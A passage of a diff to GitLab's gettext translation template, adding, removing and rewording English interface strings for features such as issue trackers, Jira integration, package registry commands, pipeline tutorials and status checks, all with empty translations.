-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
